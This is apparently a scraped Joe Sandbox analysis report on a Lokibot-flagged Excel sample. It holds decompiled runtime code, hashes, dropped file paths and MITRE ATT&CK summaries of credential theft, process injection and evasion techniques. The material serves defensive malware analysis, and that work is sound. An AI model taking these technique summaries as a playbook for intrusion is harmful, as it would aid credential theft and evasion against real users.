Instruction ID: 43e15a15d5b96cb2ff248fd7215bf6be304855f98b2f329056588cc4e60cfb3e
Opcode Fuzzy Hash: 25b42ed8889a5afab1f3351924d049d24a8b292386ec0a623a96f03d2346be71
Instruction Fuzzy Hash: 33E092321952149FD614EBACF9CA8DB33ECF6193107740C05F085C7320D625F8804B25

Uniqueness

Uniqueness Score: -1.00%

Function 008A592D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
windowCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E008A592D(intOrPtr* __eax, void* __edx, void* __edi, void* __esi) {
				signed int _v4;
				signed int _t7;
				void* _t8;
				void* _t10;
				void* _t11;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t29;
				signed int _t31;
				void* _t35;
				void* _t36;

				_t25 = __edi;
				_t24 = __edx;
				 *__eax =  *__eax + __eax;
				_t36 = _t35 + 0xc;
				if(__eax != 0) {
					L9:
					_push(_t19);
					_push(_t19);
					_push(_t19);
					_push(_t19);
					_push(_t19);
					E008B1058(_t19, _t24);
					asm("int3");
					_push(_t31);
					_t7 = _v4;
					 *0x8bf418 = _t7;
					return _t7;
				} else {
					_t8 = E008B193E(0x8bf452);
					_pop(_t21);
					if(_t8 + 1 <= 0x3c) {
						L4:
						_t10 = E008B19EB(0x8bf420, 0x314, L"\n\n");
						_t36 = _t36 + 0xc;
						if(_t10 != 0) {
							goto L9;
						} else {
							_t11 = E008B19EB(0x8bf420, 0x314, _t25);
							_t36 = _t36 + 0xc;
							_t43 = _t11;
							if(_t11 != 0) {
								goto L9;
							} else {
								E008B1B15(_t21, _t24, _t43, 0x8bf420, L"Microsoft Visual C++ Runtime Library", 0x12010);
								_pop(_t20);
								_pop(_t26);
								_pop(_t29);
								return E008B1CFB(_t20, _v4 ^ _t31, _t24, _t26, _t29);
							}
						}
					} else {
						_t21 = 0x8bf3dc + E008B193E(0x8bf452) * 2;
						_t18 = E008B1A57(0x8bf3dc + E008B193E(0x8bf452) * 2, __esi - (0x8bf3dc + E008B193E(0x8bf452) * 2 - 0x8bf452 >> 1), L"...", 3);
						_t36 = _t36 + 0x14;
						if(_t18 != 0) {
							goto L9;
						} else {
							goto L4;
						}
					}
				}
			}

APIs

___crtMessageBoxW.LIBCMT ref: 008AF913
__invoke_watson.LIBCMT ref: 008AF98A

Strings

..., xrefs: 008AF8AC
Microsoft Visual C++ Runtime Library, xrefs: 008AF90D

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: Message___crt__invoke_watson
String ID: ...$Microsoft Visual C++ Runtime Library
API String ID: 1560407238-1400160072
Opcode ID: 9079c4aea4a7d55a3d4ba95c012d5d2649afd720f8422bc88494445431a5c4fa
Instruction ID: 2a786292ba2e1302313ff6bfd6ff2c13696f24582b93c1c4ab7a77e6bb9970a0
Opcode Fuzzy Hash: 9079c4aea4a7d55a3d4ba95c012d5d2649afd720f8422bc88494445431a5c4fa
Instruction Fuzzy Hash: 0201D411B5020122EA2126B92D2BBEF5F58FB1B714B880135FF15E9B83F9459B188096

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques.
Tactics:	Collection
Data Sources:	API monitoring, Authentication logs, Packet capture, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report _2201S_BUSAN_HOCHIMINH_.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1582FF20.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3E8BE616.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4AB951BC.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\611F4629.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\62ED731F.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\902EBCC8.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\92A0FADB.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9C018985.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9D560E8D.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A4FBAD23.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B2EFEB2A.jpeg

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DFF43294.jpeg

Windows Analysis Report
_2201S_BUSAN_HOCHIMINH_.xlsx

Function 00403225 Relevance: 73.8, APIs: 24, Strings: 18, Instructions: 270
filestringcomCOMMON

Function 004053AA Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 156
filestringCOMMON

Function 00405D7C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 0040604C Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405DA3 Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Function 00403964 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 004035E3 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 213
stringregistrylibraryCOMMON

Function 00402C5B Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401734 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147
stringtimeCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre